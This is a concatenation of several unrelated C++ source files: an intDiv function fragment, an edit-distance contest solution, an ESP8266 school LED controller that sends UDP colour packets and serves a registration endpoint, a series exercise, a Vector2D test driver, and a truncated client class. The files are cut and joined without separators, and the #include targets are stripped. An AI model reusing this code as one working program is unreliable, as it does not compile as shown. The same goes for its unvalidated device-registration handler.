<> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; template <> struct BinaryOperationImpl> : DivideIntegralByConstantImpl {}; struct NameIntDiv { static constexpr auto name = "intDiv"; }; using FunctionIntDiv = FunctionBinaryArithmetic; void registerFunctionIntDiv(FunctionFactory & factory) { factory.registerFunction(); } } // //UVA 1207 //I used a dynamic approach instead of the brute-force, recursive approach we went over in class. //Create an array, that mocks the one drawn on the broad in class, which was based off differences in letters. //I return the bottom right element becuase this will be the minimum number of operations using namespace std; #include #include #include #include char trace[1000][1000]; int count(string s1, string s2) { int a = s1.length(); int b = s2.length(); for (int i = 0; i <= a; i++) { trace[i][0] = i; } for (int j = 0; j <= b; j++) { trace[0][j] = j; } for (int i = 1; i <= a; i++) { for (int j = 1; j <= b; j++) { if (s1[i-1] == s2[j-1]) {trace[i][j] = trace[i-1][j-1];} else {trace[i][j] = 1 + min( min(trace[i][j-1], trace[i-1][j]) ,trace[i-1][j-1]);} } } return trace[a][b]; } int main() { int size1, size2; string s1, s2; while(cin>>size1>>s1>>size2>>s2) { cout<SchoolLedsMain/src/main.cpp #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define UDP_PORT 4210 float timeZone = 2; float MaxSunAngle = 2; struct tm startTime; struct tm endTime; SolarPosition RigaSun(56, 24); WiFiUDP ntpUDP; NTPClient timeClient(ntpUDP, "pool.ntp.org"); WiFiUDP UDP; U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, /* reset=*/U8X8_PIN_NONE); // this made it work void HandleMyData(); ESP8266WebServer server(80); // syncWebServer server(80); String ssid = ""; String pass = ""; const size_t capacity = 512 * 8; DynamicJsonDocument doc(capacity); File SdCard; // Magic stuff for splitting strings String getValue(String data, char separator, int index) { int found = 0; int strIndex[] = {0, -1}; int maxIndex = data.length() - 1; for (int i = 0; i <= maxIndex && found <= index; i++) { if (data.charAt(i) == separator || i == maxIndex) { found++; strIndex[0] = strIndex[1] + 1; strIndex[1] = (i == maxIndex) ? i + 1 : i; } } return found > index ? data.substring(strIndex[0], strIndex[1]) : ""; } // Sends black packets to all controllers void Blank() { for (int i = 0; i < 27; i++) { IPAddress pps; pps.fromString(doc["devices"][i]["IP"].as()); if (doc["devices"][i]["found"]) for (int j = 0; j < 64; j++) { UDP.beginPacket(pps, UDP_PORT); // for (int jj = 0; jj < 16; jj++) UDP.write(uint8_t(0)); UDP.write(uint8_t(0)); UDP.write(uint8_t(0)); UDP.write(uint8_t(200)); UDP.write(uint8_t(0)); UDP.endPacket(); } } } // Initial loading bar stuff String loads[5]; void loadingBarClear() { for (int i = 0; i < 5; i++) loads[i] = ""; } void loadingBar(int filled, String txt, bool scroll) { int with = 100; int height = 10; u8g2.clearBuffer(); u8g2.drawFrame(128 / 2 - with / 2, 64 - height, with, height); u8g2.drawBox(128 / 2 - with / 2, 64 - height, filled, height); u8g2.setFont(u8g2_font_6x13_tr); if (scroll) { loads[4] = loads[3]; loads[3] = loads[2]; loads[2] = loads[1]; loads[1] = loads[0]; loads[0] = txt; } for (int i = 0; i < 5; i++) { u8g2.setCursor(1, 11 * (i + 1) - 5); u8g2.print(loads[4 - i]); } u8g2.sendBuffer(); } void loadingBar(int filled) { int with = 100; int height = 10; u8g2.drawFrame(128 / 2 - with / 2, 64 - height, with, height); u8g2.drawBox(128 / 2 - with / 2, 64 - height, filled, height); } // returns amount of found devices int GetFounds() { int found = 0; for (int i = 0; i < 27; i++) if (doc["devices"][i]["found"] == true) found++; return (found); } bool CheckTime = true; bool CheckSunAngle = true; void setup() { startTime.tm_hour = 7; startTime.tm_min = 30; endTime.tm_hour = 17; endTime.tm_min = 0; Serial.begin(115200); u8g2.begin(); u8g2.setFlipMode(1); loadingBar(5, "Starting SD card", true); Serial.print("sd begin:"); if (!SD.begin(D8)) { loadingBar(0, "SD failed", true); delay(5000); ESP.restart(); } else loadingBar(10, "SD initialized", true); SdCard = SD.open("config.json", FILE_READ); if (SdCard.available()) loadingBar(20, "Got config", true); else { loadingBar(0, "Mising config.json", true); delay(5000); ESP.restart(); } DynamicJsonDocument config(512); deserializeJson(config, SdCard.readString()); timeZone = config["TimeZone"]; startTime.tm_hour = getValue(config["StopInMorning"], ':', 0).toInt(); startTime.tm_min = getValue(config["StopInMorning"], ':', 1).toInt(); endTime.tm_hour = getValue(config["StartInEvening"], ':', 0).toInt(); endTime.tm_min = getValue(config["StartInEvening"], ':', 1).toInt(); CheckTime = config["CheckTime"]; MaxSunAngle = config["MaxSunAngle"]; CheckSunAngle = config["CheckSunAngle"]; ssid = config["ssid"].as(); pass = config["pass"].as(); RigaSun = SolarPosition(config["Latitude"].as(), config["Longitude"].as()); if (config["Flip"]) u8g2.setFlipMode(1); else u8g2.setFlipMode(0); bool SpeedBoot = config["SpeedBoot"]; SdCard.close(); if (!SpeedBoot) delay(500); loadingBar(20, "Connecting to Wi-Fi", true); Serial.print("MAC: "); Serial.println(WiFi.macAddress()); // IPAddress ip(192, 168, 1, 132); // IPAddress gateway(192, 168, 100, 1); // IPAddress subnet(255, 255, 255, 0); // WiFi.config(ip, gateway, subnet); WiFi.hostname("espMain"); WiFi.disconnect(); WiFi.begin(ssid, pass); int i = 1; while (WiFi.status() != WL_CONNECTED) { digitalWrite(LED_BUILTIN, !digitalRead(LED_BUILTIN)); delay(500); i++; if (i > 10) loadingBar(29 + (i % 2), "Connecting to Wi-Fi", false); else loadingBar(20 + i, "Connecting to Wi-Fi", false); } // if (MDNS.begin("espMain")) //{ // Start mDNS with name esp8266 // Serial.println("MDNS started"); // } loadingBar(30, "Wi-Fi done", false); if (!SpeedBoot) delay(500); loadingBar(30, "Getting time", true); timeClient.begin(); timeClient.setTimeOffset(3600 * timeZone); timeClient.update(); time_t epochTime = timeClient.getEpochTime(); struct tm *ptm = gmtime((time_t *)&epochTime); loadingBar(40, String(ptm->tm_mday) + "/" + String(ptm->tm_mon + 1) + "/" + String(ptm->tm_year + 1900), true); loadingBar(40, timeClient.getFormattedTime(), true); if (!SpeedBoot) delay(1500); SdCard = SD.open("modules.json", FILE_READ); if (SdCard.available()) loadingBar(60, "Got modules", true); else { loadingBar(0, "Mising modules.json", true); delay(5000); ESP.restart(); } if (!SpeedBoot) delay(500); loadingBar(70, "IP: " + WiFi.localIP().toString(), true); String pp = SdCard.readString(); if (!SpeedBoot) delay(500); // pp.trim(); Serial.println(pp); Serial.println("Got IP: " + WiFi.localIP().toString()); // const char* ssid = pp; DeserializationError err = deserializeJson(doc, pp); Serial.println(err.c_str()); Serial.println(doc["devices"].size()); u8g2.clearDisplay(); SdCard.close(); server.on("/espinator/MyData", HandleMyData); server.begin(); pinMode(0, INPUT_PULLUP); UDP.begin(UDP_PORT); loadingBar(100, "Started UDP", true); loadingBar(100, "Done!", true); if (!SpeedBoot) delay(1000); } // input vars bool Up = false; bool Down = false; bool UpRn = false; bool DownRn = false; bool buttonRn = false; bool button = false; bool buttonOld = false; long lastInput = 0; long lastInputHandler = 0; long lastInputHandlerBlank = 0; // Handles inputs void handleInput(bool hehe) { UpRn = false; DownRn = false; buttonRn = false; button = digitalRead(0); int a = analogRead(0); if (button != buttonOld && button == false) { lastInput = millis(); buttonRn = true; } if (a > 750) { lastInput = millis(); if (!Down) DownRn = true; Up = false; Down = true; } else if (a < 250) { lastInput = millis(); if (!Up) UpRn = true; Up = true; Down = false; } else { Up = false; Down = false; } buttonOld = button; Serial.print("Last InputHandler:"); Serial.println(millis() - lastInputHandler); lastInputHandler = millis(); // u8g2.setFont(u8g2_font_6x13_tr); u8g2.drawStr(0,64,("Ram:"+String(system_get_free_heap_size())).c_str()); } // Also clears screene after some time void handleInput() { UpRn = false; DownRn = false; buttonRn = false; button = digitalRead(0); int a = analogRead(0); if (button != buttonOld && button == false) { lastInput = millis(); buttonRn = true; } if (a > 750) { lastInput = millis(); if (!Down) DownRn = true; Up = false; Down = true; } else if (a < 250) { lastInput = millis(); if (!Up) UpRn = true; Up = true; Down = false; } else { Up = false; Down = false; } if (millis() - lastInputHandlerBlank > 1000) { lastInputHandlerBlank = millis(); IPAddress pps; for (int j = 0; j < 2; j++) for (int i = 0; i < 27; i++) { pps.fromString(doc["devices"][i]["IP"].as()); if (doc["devices"][i]["found"]) { UDP.beginPacket(pps, UDP_PORT); UDP.write(0); UDP.write(0); UDP.write(0); UDP.write(rand() % 255); UDP.write(0); UDP.endPacket(); } } } buttonOld = button; Serial.print("Last InputHandler:"); Serial.println(millis() - lastInputHandler); lastInputHandler = millis(); // u8g2.setFont(u8g2_font_6x13_tr); u8g2.drawStr(0,64,("Ram:"+String(system_get_free_heap_size())).c_str()); } void ConnectedOnes() { while (true) { u8g2.clearBuffer(); server.handleClient(); handleInput(); if (buttonRn) { break; } for (int i = 0; i < 27; i++) { u8g2.setFont(u8g2_font_profont12_tr); // u8g2.set if (!doc["devices"][i]["found"]) u8g2.setDrawColor(1); else u8g2.setDrawColor(1); int offset = 25; if (i < 3) u8g2.setCursor(5 + offset * 0, 9 + 9 * (i - 0)); else if (i < 6) u8g2.setCursor(5 + offset * 1, 9 + 9 * (i - 3)); else if (i < 9) u8g2.setCursor(5 + offset * 2, 9 + 9 * (i - 6)); else if (i < 12) u8g2.setCursor(5 + offset * 3, 9 + 9 * (i - 9)); else if (i < 15) u8g2.setCursor(5 + offset * 0, 15 + 9 * (i - 9)); else if (i < 18) u8g2.setCursor(5 + offset * 1, 15 + 9 * (i - 12)); else if (i < 21) u8g2.setCursor(5 + offset * 2, 15 + 9 * (i - 15)); else if (i < 24) u8g2.setCursor(5 + offset * 3, 15 + 9 * (i - 18)); else if (i < 27) u8g2.setCursor(5 + offset * 4, 15 + 9 * (i - 21)); if (bool(doc["devices"][i]["found"])) { if (i < 10) u8g2.print(".0" + (String)i + "."); else u8g2.print("." + (String)i + "."); } else { if (i < 10) u8g2.print("?0" + (String)i + "?"); else u8g2.print("?" + (String)i + "?"); } } u8g2.setDrawColor(1); u8g2.sendBuffer(); } u8g2.setDrawColor(1); u8g2.clearBuffer(); u8g2.sendBuffer(); } // Info screenes void Info1() { timeClient.update(); while (true) { u8g2.clearBuffer(); server.handleClient(); handleInput(); if (buttonRn) { break; } time_t epochTime = timeClient.getEpochTime(); struct tm *ptm = gmtime((time_t *)&epochTime); u8g2.setFont(u8g2_font_6x13_tf); u8g2.setCursor(1, 11 * 1); u8g2.print("Time:" + timeClient.getFormattedTime()); u8g2.setCursor(1, 11 * 2); u8g2.print("Date:" + String(ptm->tm_mday) + "/" + String(ptm->tm_mon + 1) + "/" + String(ptm->tm_year + 1900)); u8g2.setCursor(1, 11 * 3); u8g2.print("IP: " + WiFi.localIP().toString()); u8g2.setCursor(1, 11 * 4); u8g2.print("Found: " + String(GetFounds()) + "/27"); u8g2.setCursor(1, 11 * 5); u8g2.print("Sun: " + String(RigaSun.getSolarElevation(epochTime - 3600 * 2)) + "deg"); u8g2.sendBuffer(); } u8g2.clearBuffer(); u8g2.sendBuffer(); } void Info() { Info1(); timeClient.update(); while (true) { u8g2.clearBuffer(); server.handleClient(); handleInput(); if (buttonRn) { break; } // time_t epochTime = timeClient.getEpochTime(); // struct tm *ptm = gmtime((time_t *)&epochTime); u8g2.setFont(u8g2_font_6x13_tf); u8g2.setCursor(1, 11 * 1); u8g2.print("Stop time:" + String(startTime.tm_hour) + ":" + String(startTime.tm_min)); u8g2.setCursor(1, 11 * 2); u8g2.print("Start time:" + String(endTime.tm_hour) + ":" + String(endTime.tm_min)); u8g2.setCursor(1, 11 * 3); u8g2.print("ssid: " + ssid); u8g2.setCursor(1, 11 * 4); if (timeZone < 0) u8g2.print("TimeZone:" + String(timeZone)); else u8g2.print("TimeZone:+" + String(timeZone)); // u8g2.setCursor(1, 11 * 5); // u8g2.print("Sun: " + String(RigaSun.getSolarElevation(epochTime - 3600 * 2)) + "deg"); u8g2.sendBuffer(); } u8g2.clearBuffer(); u8g2.sendBuffer(); } // Didnt work uint8_t blend = 10; // millis for blending/10 bool responding[30]; bool respondingTF[30]; uint8_t packet[32]; // Checks responces and if got responce from controller this frame bool GotResponceTF(uint8_t id) { int packetSize = UDP.parsePacket(); if (packetSize) { int len = UDP.read(packet, 32); // bool led = true; if (len > 0) { packet[len] = '\0'; } int responceId = packet[2]; responding[responceId] = true; respondingTF[responceId] = true; } return (respondingTF[id]); if (respondingTF[id]) responding[id] = true; } // used to clear resoponces after updating controllers online --> ResponceToFile() void ClearResponce() { for (int i = 0; i < 30; i++) responding[i] = false; } // used to clear resopnes in this frame void ClearResponceTF() { for (int i = 0; i < 30; i++) respondingTF[i] = false; } // sets devices with are online to with respond void ResponceToFile() { for (int i = 0; i < 30; i++) doc["devices"][i]["found"] = responding[i]; } int ClearFrame = 0; // used to play animation/image until click void Blinky(String name) { u8g2.clearBuffer(); uint8_t color[5]; uint8_t pp[250 * 27 * sizeof(color)]; handleInput(true); handleInput(true); handleInput(true); Serial.println("started"); // SdCard = SD.open("random.dat"); SdCard = SD.open(name); Serial.println("open:" + name); // const char* cstr = name; // std::string pps(cstr); int frames = getValue(name, '_', 0).toInt(); Serial.println("Created"); SdCard.read((uint8_t *)&pp, sizeof(pp)); Serial.print("read pp:"); Serial.println(SdCard.readString()); int frame = 0; int frame2 = 0; bool runing = true; while (runing) { u8g2.clearBuffer(); handleInput(true); if (frame > 255) { frame = 0; frame2++; } if (frame2 > 255) frame2 = 0; server.handleClient(); if (buttonRn) { runing = false; break; } // this is really dum but it works time_t epochTime = timeClient.getEpochTime(); // struct tm *ptm = gmtime((time_t *)&epochTime); tm time; time.tm_sec = second(epochTime); time.tm_min = minute(epochTime); time.tm_hour = hour(epochTime); time.tm_mday = day(epochTime); time.tm_mon = month(epochTime) - 1; time.tm_year = year(epochTime) - 1900; startTime.tm_mday = day(epochTime); startTime.tm_mon = month(epochTime) - 1; startTime.tm_year = year(epochTime) - 1900; startTime.tm_sec = 0; endTime.tm_mday = day(epochTime); endTime.tm_mon = month(epochTime) - 1; endTime.tm_year = year(epochTime) - 1900; endTime.tm_sec = 0; time_t time_epoch = mktime(&time); time_t endTime_epoch = mktime(&endTime); time_t startTime_epoch = mktime(&startTime); time_t TimeToEnd = endTime_epoch - time_epoch; time_t TimeToStart = startTime_epoch - time_epoch; bool dont = TimeToStart < 0 && TimeToEnd > 0; loadingBarClear(); long startMilis = 0; // \/ Checks if sun angle right \/ \/need sun angle chec\/ \/time in range and neet to check\/ if ((RigaSun.getSolarElevation(epochTime - 3600 * timeZone) < MaxSunAngle || !CheckSunAngle ) && (!dont || !CheckTime)) if (frames > 0) { for (int f = 0; f < frames; f++) { //Draws anim u8g2.setFont(u8g2_font_amstrad_cpc_extended_8f); for (int y = 0; y < 9; y++) for (int x = 0; x < 3; x++) { int led = y * 3 + x; u8g2.setCursor(y * 13 + 10, x * 13 + 20); int fuR = pp[f * 27 * sizeof(color) + led * sizeof(color) + 0] * 2; int fuG = pp[f * 27 * sizeof(color) + led * sizeof(color) + 1] * 2; int fuB = pp[f * 27 * sizeof(color) + led * sizeof(color) + 2] * 2; int coli = (fuR + fuG + fuB) / 3; char myASCII[] = " .:-=+*#%@"; char ap = myASCII[int(float(coli) / 255 * (sizeof(myASCII) / sizeof(*myASCII)))]; if (coli > 230) ap = '@'; u8g2.print(ap); } handleInput(true); if (frame > 255) { frame = 0; frame2++; } server.handleClient(); if (buttonRn) { runing = false; break; } //Sends anim for (int i = 0; i < 27; i++) { IPAddress pps; pps.fromString(doc["devices"][i]["IP"].as()); if (doc["devices"][i]["found"]) for (int j = 0; j < 16; j++) { UDP.beginPacket(pps, UDP_PORT); UDP.write(uint8_t(pp[f * 27 * sizeof(color) + i * sizeof(color) + 0] * 2)); UDP.write(uint8_t(pp[f * 27 * sizeof(color) + i * sizeof(color) + 1] * 2)); UDP.write(uint8_t(pp[f * 27 * sizeof(color) + i * sizeof(color) + 2] * 2)); UDP.write(f); UDP.write(blend); UDP.endPacket(); // responce if (GotResponceTF(i)) break; } delay(1); } ClearResponceTF(); loadingBar(int(float(f) / float(frames) * 100)); u8g2.setFont(u8g2_font_6x13_tr); u8g2.setCursor(1, 11); int timeMillis = millis() - startMilis; // u8g2.clearBuffer(); if ((100 - timeMillis) > 0) { delay(100 - timeMillis); } timeMillis = millis() - startMilis; startMilis = millis(); u8g2.print("FPS:" + String(1000 / timeMillis)); if (millis() - lastInput > 10000) u8g2.clearBuffer(); u8g2.sendBuffer(); u8g2.clearBuffer(); } ResponceToFile(); ClearResponce(); //end of anim // all frames complete } else { //Displays image u8g2.setFont(u8g2_font_amstrad_cpc_extended_8f); for (int y = 0; y < 9; y++) for (int x = 0; x < 3; x++) { int led = y * 3 + x; u8g2.setCursor(y * 13 + 10, x * 13 + 20); int fuR = pp[led * sizeof(color) + 0] * 2; int fuG = pp[led * sizeof(color) + 1] * 2; int fuB = pp[led * sizeof(color) + 2] * 2; int coli = (fuR + fuG + fuB) / 3; char myASCII[] = " .:-=+*#%@"; char ap = myASCII[int(float(coli) / 255 * (sizeof(myASCII) / sizeof(*myASCII)))]; if (coli > 230) ap = '@'; u8g2.print(ap); } handleInput(true); if (frame > 255) { frame = 0; frame2++; } server.handleClient(); if (buttonRn) { runing = false; break; } //Sends image for (int i = 0; i < 27; i++) { IPAddress pps; pps.fromString(doc["devices"][i]["IP"].as()); if (doc["devices"][i]["found"]) for (int j = 0; j < 16; j++) { UDP.beginPacket(pps, UDP_PORT); // for (int jj = 0; jj < 16; jj++) UDP.write(uint8_t(pp[i * sizeof(color) + 0] * 2)); UDP.write(uint8_t(pp[i * sizeof(color) + 1] * 2)); UDP.write(uint8_t(pp[i * sizeof(color) + 2] * 2)); UDP.write(rand() % 255); UDP.write(frame2); UDP.endPacket(); if (GotResponceTF(i)) break; } delay(1); } ClearResponceTF(); u8g2.setFont(u8g2_font_6x13_tr); u8g2.setCursor(1, 11); int timeMillis = millis() - startMilis; // u8g2.clearBuffer(); if ((1000 - timeMillis) > 0) { delay(1000 - timeMillis); } timeMillis = millis() - startMilis; if (millis() - lastInput > 10000) u8g2.clearBuffer(); u8g2.sendBuffer(); u8g2.clearBuffer(); startMilis = millis(); //ResponceToFile every 6 seconds if (ClearFrame > 6) { ResponceToFile(); ClearResponce(); ClearFrame = 0; } ClearFrame++; //End of sending image } else { u8g2.setFont(u8g2_font_amstrad_cpc_extended_8f); u8g2.setCursor(1, 10); u8g2.print("Time to start:"); u8g2.setCursor(1, 20); u8g2.print(String(TimeToEnd)); if (millis() - lastInput > 10000) u8g2.clearBuffer(); u8g2.sendBuffer(); } // delete ptm; }//Ends while(true) //After exiting animFunction Blank(); Serial.println("Send done"); SdCard.close(); Serial.println("close"); } // checks if files is anim/image int animSelect = 0; bool isAnim(const std::string &str) { std::string suffix = ".dat"; return (str.size() >= suffix.size() && str.compare(str.size() - suffix.size(), suffix.size(), suffix) == 0); // return(true); } // anim/pic selection screene void Anims() { File root = SD.open("/"); int AnimCount = 0; int FileCount = 0; while (true) { File entry = root.openNextFile(); if (!entry) { root.rewindDirectory(); break; } else if (isAnim(entry.fullName())) { AnimCount++; } entry.close(); } while (true) { File entry = root.openNextFile(); if (!entry) { root.rewindDirectory(); break; } else { FileCount++; } entry.close(); } String *AnimList = new String[AnimCount + 1]; int animAAAAA = 1; for (int i = 0; i < FileCount; i++) { File entry = root.openNextFile(); if (isAnim(entry.fullName())) { AnimList[animAAAAA] = entry.name(); entry.close(); Serial.println(AnimList[animAAAAA]); animAAAAA++; } } AnimList[0] = "Exit"; AnimCount++; while (true) { u8g2.clearBuffer(); server.handleClient(); handleInput(); if (UpRn) animSelect++; if (DownRn) animSelect--; if (animSelect < 0) animSelect = AnimCount - 1; if (animSelect > AnimCount - 1) animSelect = 0; u8g2.setFont(u8g2_font_t0_11b_tf); for (int i = 0; i < AnimCount; i++) { int why = i - animSelect; if (why >= 0 && why < 4) { u8g2.setCursor(10, 12 + why * 12); if (i != 0) if (animSelect == i) u8g2.print("| " + getValue(getValue(AnimList[i], '_', 1), '.', 0)); else u8g2.print(getValue(getValue(AnimList[i], '_', 1), '.', 0)); else if (animSelect == i) u8g2.print("| " + AnimList[i]); else u8g2.print(AnimList[i]); } } if (buttonRn) { if (animSelect == 0) break; else Blinky(AnimList[animSelect]); } u8g2.sendBuffer(); } } // main menu String menu[4] = {"Connected", "Animations", "Info", "Reboot"}; int selection = 0; void loop() { u8g2.clearBuffer(); server.handleClient(); handleInput(); if (UpRn) selection++; if (DownRn) selection--; if (selection < 0) selection = 3; if (selection > 3) selection = 0; u8g2.setFont(u8g2_font_t0_11b_tf); for (int i = 0; i < 4; i++) { u8g2.setCursor(10, 12 + i * 12); if (selection == i) u8g2.print("| " + menu[i]); else u8g2.print(menu[i]); } if (buttonRn) { if (selection == 0) ConnectedOnes(); if (selection == 1) Anims(); if (selection == 2) Info(); if (selection == 3) ESP.restart(); } u8g2.sendBuffer(); delay(50); } // Handles controller that wants to connect void HandleMyData() { if (server.arg("Mac") != "" && server.arg("IP") != "" && server.arg("ID") != "") { // Serial.println(atoi(server.arg("ID").c_str())); server.sendHeader("Connection", "close"); server.send(200, "application/json", "{\"found\":true\"}"); doc["devices"][atoi(server.arg("ID").c_str())]["IP"] = server.arg("IP"); doc["devices"][atoi(server.arg("ID").c_str())]["Mac"] = server.arg("Mac"); doc["devices"][atoi(server.arg("ID").c_str())]["found"] = true; // Serial.println(doc.as()); } else { server.send(200, "application/json", "{\"found\":false\"}"); } server.client().stop(); Serial.println("!!!!!Handling someone!!!!!"); }andreadelprete/latex-cpp-exercises-simple #include "expHomeMade.hpp" #include "factorial.hpp" double expHomeMade(int depth) { double e = 0; for (int i = 0; i < depth; i++) { e += 1.0 / factorialIterative(i); } return e; }Games/Vector2D-Class/driver-sample.cpp #include // cin, cout, endl #include "Vector2D.h" // Vector2D class void ConstructorTest(void) { std::cout << "\n********** Constructor test ********** " << std::endl; CS170::Vector2D v1(3.0f, 4.0f); CS170::Vector2D v2; CS170::Vector2D v3(v1); CS170::Vector2D v4 = v1; CS170::Vector2D v5; v5 = v4; // DO NOT ALLOW THIS SYNTAX: //CS170::Vector2D p6 = 4; // this should not compile //CS170::Vector2D p7(4); // this should not compile std::cout << "Vector2D v1(3, 4): " << v1 << std::endl; std::cout << "Vector2D v2: " << v2 << std::endl; std::cout << "Vector2D v3(v1): " << v3 << std::endl; std::cout << "Vector2D v4 = v1: " << v3 << std::endl; std::cout << "v5 = v4: " << v5 << std::endl; std::cout << std::endl; } void GetSetTest(void) { std::cout << "\n********** Get and Set test ********** " << std::endl; CS170::Vector2D v1(9.0f, -5.0f); std::cout << "v1.x = " << v1.X() << std::endl; std::cout << "v1.y = " << v1.Y() << std::endl; v1.X(4.0f); std::cout << "v1.x = 4.0f" << std::endl; std::cout << "v1.x = " << v1.X() << std::endl; v1.Y(9.0f); std::cout << "v1.y = 9.0f" << std::endl; std::cout << "v1.y = " << v1.Y() << std::endl; std::cout << std::endl; } void MagnitudeTest(void) { std::cout << "\n********** Magnitude test ********** " << std::endl; CS170::Vector2D v1(3.0f, 4.0f); std::cout << "v1 = " << v1 << std::endl; std::cout << "magnitude of v1 = " << v1.Magnitude() << std::endl; std::cout << "magnitude of v1 squared = " << v1.MagnitudeSquared() << std::endl; CS170::Vector2D v2(7.0f, 12.0f); std::cout << "v2 = " << v2 << std::endl; std::cout << "magnitude of v2 = " << v2.Magnitude() << std::endl; std::cout << "magnitude of v2 squared = " << v2.MagnitudeSquared() << std::endl; std::cout << std::endl; std::cout << "v1 normalized = " << v1.Normalized() << std::endl; std::cout << "v2 normalized = " << v2.Normalized() << std::endl; std::cout << std::endl; } void DistanceTest(void) { std::cout << "\n********** Distance test ********** " << std::endl; CS170::Vector2D v1(3.0f, 4.0f); CS170::Vector2D v2(7.0f, 12.0f); float distance = 0.0f;; distance = v2.Distance(v1); std::cout.setf(std::ios_base::fixed, std::ios::floatfield); std::cout.precision(3); std::cout << "Distance between " << v2 << " and " << v1 << " is " << distance << std::endl; distance = v1.Distance(v2); std::cout << "Distance between " << v1 << " and " << v2 << " is " << distance << std::endl; v1 = CS170::Vector2D(-5.0f, 3.0f); v2 = CS170::Vector2D(-1.0f, -7.0f); distance = v2.Distance(v1); std::cout << "Distance between " << v2 << " and " << v1 << " is " << distance << std::endl; distance = v2.DistanceSquared(v1); std::cout << "Squared distance between " << v2 << " and " << v1 << " is " << distance << std::endl; std::cout << std::endl; std::cout.unsetf(std::ios_base::fixed); std::cout.precision(6); } void MidpointTest(void) { std::cout << "\n********** Midpoint test ********** " << std::endl; CS170::Vector2D v1(3.0f, 4.0f); CS170::Vector2D v2(7.0f, 12.0f); CS170::Vector2D v3 = v1.Midpoint(v2); std::cout.setf(std::ios_base::fixed, std::ios::floatfield); std::cout.precision(3); std::cout << "Midpoint of " << v1 << " and " << v2 << " is " << v3 << std::endl; v1 = CS170::Vector2D(-5.0f, 3.0f); v2 = CS170::Vector2D(-1.0f, -7.0f); v3 = v1.Midpoint(v2); std::cout << "Midpoint of " << v1 << " and " << v2 << " is " << v3 << std::endl; std::cout << std::endl; std::cout.unsetf(std::ios_base::fixed); std::cout.precision(6); } void DotTest(void) { std::cout << "\n********** Dot test ********** " << std::endl; CS170::Vector2D v1(3.0f, 4.0f); CS170::Vector2D v2(7.0f, 12.0f); std::cout << "v1 = " << v1 << std::endl; std::cout << "v2 = " << v2 << std::endl; std::cout << "v1 dot v2 = " << v1.DotProduct(v2) << std::endl; std::cout << "v2 dot v1 = " << v2.DotProduct(v1) << std::endl; std::cout << std::endl; CS170::Vector2D v3(2.0f, 4.0f); CS170::Vector2D v4(-8.0f, 4.0f); std::cout << "v3 = " << v3 << std::endl; std::cout << "v4 = " << v4 << std::endl; std::cout << "v3 dot v4 = " << v3.DotProduct(v4) << std::endl; std::cout << "v4 dot v3 = " << v4.DotProduct(v3) << std::endl; std::cout << std::endl; } void AddSubtractTest(void) { std::cout << "\n********** Add and Subtract test ********** " << std::endl; CS170::Vector2D v1(3.0f, 4.0f); CS170::Vector2D v2(7.0f, 12.0f); CS170::Vector2D v3; v3 = v1 + v2; std::cout << v1 << " + " << v2 << " = " << v3 << std::endl; CS170::Vector2D v4; v4 = v2 - v1; std::cout << v2 << " - " << v1 << " = " << v4 << std::endl; std::cout << std::endl; } void ScaleTest(void) { std::cout << "\n********** Scale test ********** " << std::endl; CS170::Vector2D v1(3.0f, 4.0f); CS170::Vector2D v2 = v1 * 3.0f; std::cout << v1 << " * 3 = " << v2 << std::endl; std::cout << std::endl; CS170::Vector2D v3(5.0f, 8.0f); CS170::Vector2D v4 = 5.0f * v3; std::cout << "5 * " << v3 << " = " << v4 << std::endl; std::cout << std::endl; std::cout << v4 << " / 3 = " << v4 / 3.0f << std::endl; std::cout << std::endl; } void AssignmentTest1(void) { std::cout << "\n********** Assignment test 1 ********** " << std::endl; CS170::Vector2D v1(3.0f, 4.0f); CS170::Vector2D v2(-5.0f, 1.0f); std::cout << "v1 = " << v1 << std::endl; std::cout << "v2 = " << v2 << std::endl; v1 += v2; std::cout << "v1 += v2" << std::endl; std::cout << "v1 = " << v1 << std::endl; std::cout << "v2 = " << v2 << std::endl; std::cout << std::endl; CS170::Vector2D v3(3.0f, 4.0f); std::cout << "v3 = " << v3 << std::endl; std::cout << std::endl; v1 += v2 += v3; std::cout << "v1 += v2 += v3" << std::endl; std::cout << "v1 = " << v1 << std::endl; std::cout << "v2 = " << v2 << std::endl; std::cout << "v3 = " << v3 << std::endl; } void AssignmentTest2(void) { std::cout << "\n********** Assignment test 2 ********** " << std::endl; CS170::Vector2D v1(1.0f, 2.0f); std::cout << "v1 = " << v1 << std::endl; CS170::Vector2D v2(-9.0f, 12.0f); std::cout << "v2 = " << v2 << std::endl; v1 -= v2; std::cout << "v1 -= v2 " << std::endl; std::cout << "v1 = " << v1 << std::endl; std::cout << std::endl; CS170::Vector2D v3(7.0f, 3.0f); std::cout << "v3 = " << v3 << std::endl; v3 *= -2.5f; std::cout << "v3 *= -2.5" << std::endl; std::cout << "v3 = " << v3 << std::endl; std::cout << std::endl; std::cout << "v3 /= 4" << std::endl; v3 /= 4.0f; std::cout << "v3 = " << v3 << std::endl; std::cout << std::endl; } void UnaryTest(void) { std::cout << "\n********** Unary test ********** " << std::endl; CS170::Vector2D v1(3.0f, 4.0f); std::cout << "v1 = " << v1 << std::endl; CS170::Vector2D v2 = -v1; std::cout << "v2 = -v1" << std::endl; std::cout << "v1 = " << v1 << std::endl; std::cout << "v2 = " << v2 << std::endl; std::cout << std::endl; CS170::Vector2D v3(-3.0f, 4.0f); std::cout << "v3 = " << v3 << std::endl; CS170::Vector2D v4 = - - -v3; std::cout << "v4 = - - -v3" << std::endl; std::cout << "v3 = " << v3 << std::endl; std::cout << "v4 = " << v4 << std::endl; } int main(void) { ConstructorTest(); GetSetTest(); MagnitudeTest(); DistanceTest(); MidpointTest(); DotTest(); AddSubtractTest(); ScaleTest(); AssignmentTest1(); AssignmentTest2(); UnaryTest(); return 0; } shrewdlin/BPE #include "CohClientImp.h" #include "CohLogHelper.h" CCohClientImp * CCohClientImp::sm_instance=NULL; CCohClientImp * CCohClientImp::GetInstance() { if(sm_instance==NULL) sm_instance=new CCohClientImp; return sm_instance; } void CCohClientImp::Init(const string &strMonitorUrl, const string &strDetailMonitorUrl, const string &strDgsUrl, const string &strErrUrl) { 